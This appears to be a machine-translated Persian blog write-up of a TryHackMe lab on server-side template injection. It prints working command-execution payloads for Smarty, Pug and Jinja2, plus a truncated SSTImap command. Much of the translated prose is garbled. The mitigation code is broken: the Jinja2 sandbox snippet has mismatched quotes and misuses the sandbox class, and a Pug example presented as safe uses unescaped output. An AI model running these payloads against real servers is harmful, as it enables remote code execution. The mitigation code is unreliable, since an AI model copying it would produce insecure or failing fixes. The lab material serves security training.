برنامه نویسی

TryhackMe: تزریق الگوی سمت سرور (SSTI)

SSTI چیست؟

تزریق الگوی سمت سرور (SSTI) یک آسیب پذیری است که هنگامی که ورودی کاربر به طور ناامن در یک الگوی سمت سرور وارد می شود ، رخ می دهد و به مهاجمان امکان می دهد کد دلخواه را روی سرور اجرا کنند. موتورهای الگو با ترکیب الگوهای با داده های کاربر ، HTML پویا را ایجاد می کنند و کنترل نادرست ورودی می تواند منجر به حملات SSTI شود.

مفاهیم اصلی

  • تولید محتوای پویا: موتورهای الگو ، متغیرها را با داده های واقعی جایگزین می کنند ، که در صورت عدم استفاده از ورودی می توانند مورد سوء استفاده قرار گیرند.
  • ورودی کاربر به عنوان کد الگوی: اگر ورودی کاربر به عنوان بخشی از الگوی رفتار شود ، مهاجمان می توانند منطق مخرب را تزریق کنند.

SSTI از اجرای عبارات تعبیه شده در قالب ها سوء استفاده می کند و به مهاجمان این امکان را می دهد تا منطق سمت سرور را دستکاری کنند و به طور بالقوه کد دلخواه را اجرا کنند.

جریان حمله SSTI

جریان حمله SSTI

هنگامی که ورودی کاربر در الگوهای بدون اعتبارسنجی تعبیه شده است ، مهاجمان می توانند بارهای بارهای منتهی به:

  • خواندن/اصلاح پرونده های سمت سرور.
  • اجرای دستورات سیستم.
  • دسترسی به داده های حساس (به عنوان مثال ، متغیرهای محیط ، اعتبار پایگاه داده).

موتورهای الگوی

موتور الگوی چیست؟

یک موتور الگوی با جایگزینی صاحبخانه ها با داده های واقعی کاربر ، به تولید صفحات وب پویا کمک می کند. مانند یک الگوی از پیش طراحی شده است که در آن محتوای پویا در زمان اجرا درج شده است.

چگونه کار می کند:

  1. الگوی: یک ساختار از پیش تعریف شده با صاحبخانه ها (به عنوان مثال ، {{ name }}).
  2. ورودی کاربر: داده ها مانند نام یا پیام ارائه شده است.
  3. ترکیب: موتور الگو با داده های واقعی متقاضیان را جایگزین می کند.
  4. خروجی: یک صفحه وب نهایی با محتوای پویا ایجاد می شود.

قیاس موتور الگوی

موتورهای الگو باعث بهبود کارآیی توسعه می شوند اما می توانند آسیب پذیری هایی مانند آن را معرفی کنند SSTI اگر ورودی کاربر به درستی ضد عفونی نشود.

موتورهای الگوی مشترک

  • jinja2 (پایتون) – قدرتمند و به طور گسترده استفاده می شود. اجازه می دهد تا عبارات شبیه پایتون در HTML تعبیه شود.
  • شاخه (PHP) – با تنظیمات پیش فرض قوی ایمن باشید.
  • پاگ/جید .
  • با هوش (PHP) – توسعه دهندگان را قادر می سازد تا از منطق کسب و کار ، بهبود قابلیت حفظ و مقیاس پذیری برنامه را جدا کنند.

چگونه موتورهای الگو ورودی ها را پردازش می کنند

موتورهای الگوی الگوهای حاوی محتوای استاتیک و پویا. هنگام ارائه ، متغیرهای متداول با مقادیر واقعی جایگزین می شوند.

مثال (jinja2 در پایتون):

from jinja2 import Template
hello_template = Template("Hello, {{ name }}!")
output = hello_template.render(name="World")
print(output)  # Output: Hello, World!
حالت تمام صفحه را وارد کنید

از حالت تمام صفحه خارج شوید

شناسایی موتور الگوی

موتورهای مختلف عبارات منحصر به فرد را کنترل می کنند ، که به تشخیص کمک می کند.

jinja2 در مقابل شاخه

  • بار بار: {{ 7*'7' }}
  • خروجی شاخه: 49
  • خروجی JINJA2: 7777777

شاخه: 49

Jinja2: 7777777

پاگ/جید

  • نحو: #{ 7*7 }
  • خروجی: 49

خروجی میناکاری: 49

Pug/Jade اجازه می دهد اجرای مستقیم جاوا اسکریپت، آن را از Jinja2 و Twig متمایز می کند.

اجرای فرمان مستقیم

با هوش

  • نحو: {'Hello'|upper}
  • خروجی: HELLO

سلام خروجی با استفاده از بار فوق


بهره برداری

Smarty (PHP)

انعطاف پذیری Smarty امکان اجرای پویا توابع PHP را در قالب های خود فراهم می کند ، که می تواند به یک خطر امنیتی قابل توجهی تبدیل شود.

ما می توانیم با استفاده از مواردی از این دست از این سوء استفاده کنیم {system("ls")} برای لیست همه پرونده ها در فهرست.

محتوای دایرکتوری با استفاده از دستور LS

PUG (node.js)

آسیب پذیری های امنیتی PUG در درجه اول ناشی از توانایی آن برای درون یابی کد جاوا اسکریپت در متغیرهای الگو است.

نقاط آسیب پذیری کلیدی:

  • درون یابی جاوا اسکریپت: Pug اجازه می دهد تا جاوا اسکریپت را مستقیماً در قالب ها با استفاده از بریس های درون یابی تعبیه کنید #{}بشر اگر ورودی کاربر بدون ضد عفونی مناسب درون یابی شود ، می تواند منجر به اجرای کد دلخواه شود.
  • فرار پیش فرض: PUG فرار خودکار را برای ورودی های خاص فراهم می کند و شخصیت هایی مانند آن را تبدیل می کند <با >وت & برای جلوگیری از حملات XSS ، به معادل های موجودیت HTML خود. با این حال ، این رفتار پیش فرض تمام مسائل مربوط به امنیت بالقوه ، به ویژه در هنگام برخورد با درون یابی غیرقانونی را پوشش نمی دهد !{} یا سناریوهای ورودی پیچیده.

#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}

در زیر شکست:

  • root.process دسترسی به جهانی process شیء از Node.js در الگوی PUG.
  • mainModule.require('child_process') به صورت پویا نیاز به child_process ماژول ، دور زدن محدودیت های احتمالی که ممکن است از ورود منظم آن جلوگیری کند.
  • spawnSync('ls'): اجرای ls فرمان همزمان
  • .stdout: خروجی استاندارد دستور را ضبط می کند.

محتوای دایرکتوری با استفاده از دستور LS

درک Spawnsync

spawnSync('ls -lah') ممکن است کار نکند زیرا Spawnsync ذاتاً یک رشته واحد را به یک دستور و استدلال های آن تقسیم نمی کند. در عوض ، کل رشته را به عنوان دستور اجرای آن رفتار می کند.

spawnSync نحو:

spawnSync(command, [args], [options])

  • فرمان: این رشته ای است که دستور اجرای آن را مشخص می کند.
  • استدلال: این مجموعه ای از آرگومان های رشته ای برای انتقال به دستور است.
  • گزینه: این یک پارامتر اختیاری است که می تواند گزینه های مختلفی مانند فهرست کار ، متغیرهای محیط ، ورودی ، خروجی ، زمانبندی و موارد دیگر را مشخص کند.

استفاده مثال:

const { spawnSync } = require('child_process');
const result = spawnSync('ls', ['-lah']);
console.log(result.stdout.toString());
حالت تمام صفحه را وارد کنید

از حالت تمام صفحه خارج شوید

از این رو ، بار نهایی:

#{root.process.mainModule.require('child_process').spawnSync('ls', ['-lah']).stdout}

jinja2 (پایتون)

Jinja2 اجازه می دهد تا عبارات شبیه پایتون در HTML تعبیه شود.

خطر امنیتی در JINJA2 اغلب ناشی از شیوه های کدگذاری ناامن مانند ورودی بدون ضد آفتاب مناسب است.

نقاط آسیب پذیری کلیدی:

  • ارزیابی بیان: jinja2 عبارات موجود در بریس های فرفری را ارزیابی می کند {{ }}، که می تواند کد پایتون خودسرانه را در صورت ساخت و ساز به طور مخرب اجرا کند.
  • ارث و واردات الگو: ویژگی های پیشرفته مانند وراثت الگو و واردات کلان می تواند برای اجرای کد ناخواسته سوء استفاده شود و منجر به افشای اطلاعات یا دستکاری سرور شود.

نمونه بار:

{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("ls")}}

تجزیه بار فوق:

  • "".__class__.__mro__[1] به پایه دسترسی پیدا می کند object کلاس ، ابرقهرمان تمام کلاسهای پایتون.
  • __subclasses__(): لیست کلیه زیر کلاسهای objectوت [157] به طور معمول شاخص برای subprocess.Popen کلاس (این شاخص ممکن است متفاوت باشد و باید در محیط هدف بررسی شود).
    کلاس ها با استفاده از بار بالا حذف می شوند
    قسمت دوم تصویر بالا
  • زنجیرهای روش بعدی به صورت پویا وارد می کنند و از آن استفاده می کنند subprocess ماژول برای اجرای ls فرمان ، ضبط خروجی آن.
    محتویات دایرکتوری با استفاده از دستور LS در بار بار

simillar به spawnSyncبا check_output('ls -lah') کار نمی کند زیرا رشته را به یک دستور و آرگومان های جداگانه تجزیه نمی کند. در عوض ، کل رشته را به عنوان یک دستور واحد برای اجرای آن رفتار می کند.

check_output نحو:

subprocess.check_output([command, arg1, arg2])

  • فرمان: رشته ای که دستور اجرای آن را مشخص می کند.
  • arg1 ، arg2 ، …: استدلال های اضافی که باید به دستور منتقل شوند.

استفاده مثال:

subprocess.check_output(['ls', '-lah'])

بار نهایی:

{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['ls', '-lah'])}}


بهره برداری خودکار

سس ابزاری است که فرایند آزمایش و بهره برداری از آسیب پذیری های SSTI را در موتورهای مختلف الگو خودکار می کند. میزبان GitHub.

در اینجا چگونه می توانید شروع کنید:

  1. کلون مخزن:

    git clone https://github.com/vladko312/SSTImap.git

  2. به فهرست SSTIMAP بروید:

    cd SSTImap

  3. وابستگی ها را نصب کنید (در صورت وجود ذکر شده ، معمولاً از طریق requirements.txt):

    pip install -r requirements.txt

SSTIMAP قادر به موارد زیر است:

  • الگوی تشخیص موتور: SSTIMAP می تواند به شناسایی موتور الگوی مورد استفاده توسط یک برنامه وب کمک کند ، که برای تهیه سوء استفاده های خاص بسیار مهم است.
  • بهره برداری خودکار: برای آسیب پذیری های شناخته شده ، SSTIMAP می تواند روند بهره برداری از آنها را خودکار کند.

در اینجا یک مثال استفاده ساده وجود دارد:

python3 sstimap.py -X POST -u 'TARGET_HTTP' -d 'page="


کاهش

jinja2

  1. حالت ماسه ای: فعال کردن محیط Sandboxed برای محدود کردن دسترسی به الگوی به توابع و ویژگی های ناامن ، جلوگیری از اجرای کد خودسرانه پایتون.

    from jinja2 import Environment, select_autoescape, sandbox
    
    env = Environment(
        autoescape=select_autoescape(["html', 'xml']),
        extensions=[sandbox.SandboxedEnvironment]
    )
    
  2. ضد عفونی ورودی: ورودی ها را برای فرار/حذف شخصیت های خطرناک یا رشته هایی که می توانند به عنوان کد تعبیر شوند ، ضدعفونی کنید.

  3. حسابرسی الگوی: به طور مرتب الگوهای مربوط به الگوهای برنامه نویسی ناامن ، مانند تعبیه ورودی کاربر بدون سرپرستی را مرور کنید.

جید (میناکاری)

  1. از ارزیابی مستقیم جاوا اسکریپت خودداری کنید: از استفاده از توانایی PUG در ارزیابی کد جاوا اسکریپت در قالب ها خودداری کنید. از روشهای جایگزین برای محتوای پویا استفاده کنید.

    var user = !{JSON.stringify(user)}
    h1= user.name
    

    ترجیح دادن #{} بیش از !{} برای فرار از HTML به طور پیش فرض.

  2. ورودی ها را تأیید و ضد عفونی کنید: از اعتبار سنجی دقیق و ضد عفونی کننده برای جلوگیری از اجرای کد مخرب اطمینان حاصل کنید.

  3. پیکربندی ایمن: از تنظیمات محیط برای غیرفعال کردن ویژگی های خطرناک مانند اجرای اسکریپت استفاده کنید.

با هوش

  1. غیرفعال کردن {php} برچسب ها: غیرفعال کردن {php} برچسب ها برای جلوگیری از اجرای کد PHP در قالب ها.

    $smarty->security_policy->php_handling = Smarty::PHP_REMOVE;
    $smarty->disable_security = false;
    
  2. از دستگیران ایمن استفاده کنید: یک مجموعه مطمئن از برچسب ها یا اصلاح کننده ها را برای الگوهای سفارشی کاربر فراهم کنید تا از اجرای فرمان خطرناک جلوگیری شود.

  3. بررسی های امنیتی منظم: بررسی ها و به روزرسانی های امنیتی منظم را برای الگوهای و منطق مدیریت داده ها انجام دهید.

ماسهبازی در موتورهای الگو

جعبه بندی اجرای کد بالقوه مضر را در قالب ها محدود می کند و عملیات خطرناک مانند دسترسی به فایل و دستورات سیستم را مسدود می کند.

اهمیت ماسهبازی

  • محدودیت های عملکرد: توابع یا روشهای قابل تماس را در قالب ها محدود می کند تا از اقدامات مضر جلوگیری شود.
  • دسترسی متغیر/داده: دسترسی به متغیرهای جهانی و داده های حساس را برای جلوگیری از دستکاری یا قرار گرفتن در معرض کنترل کنترل می کند.

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا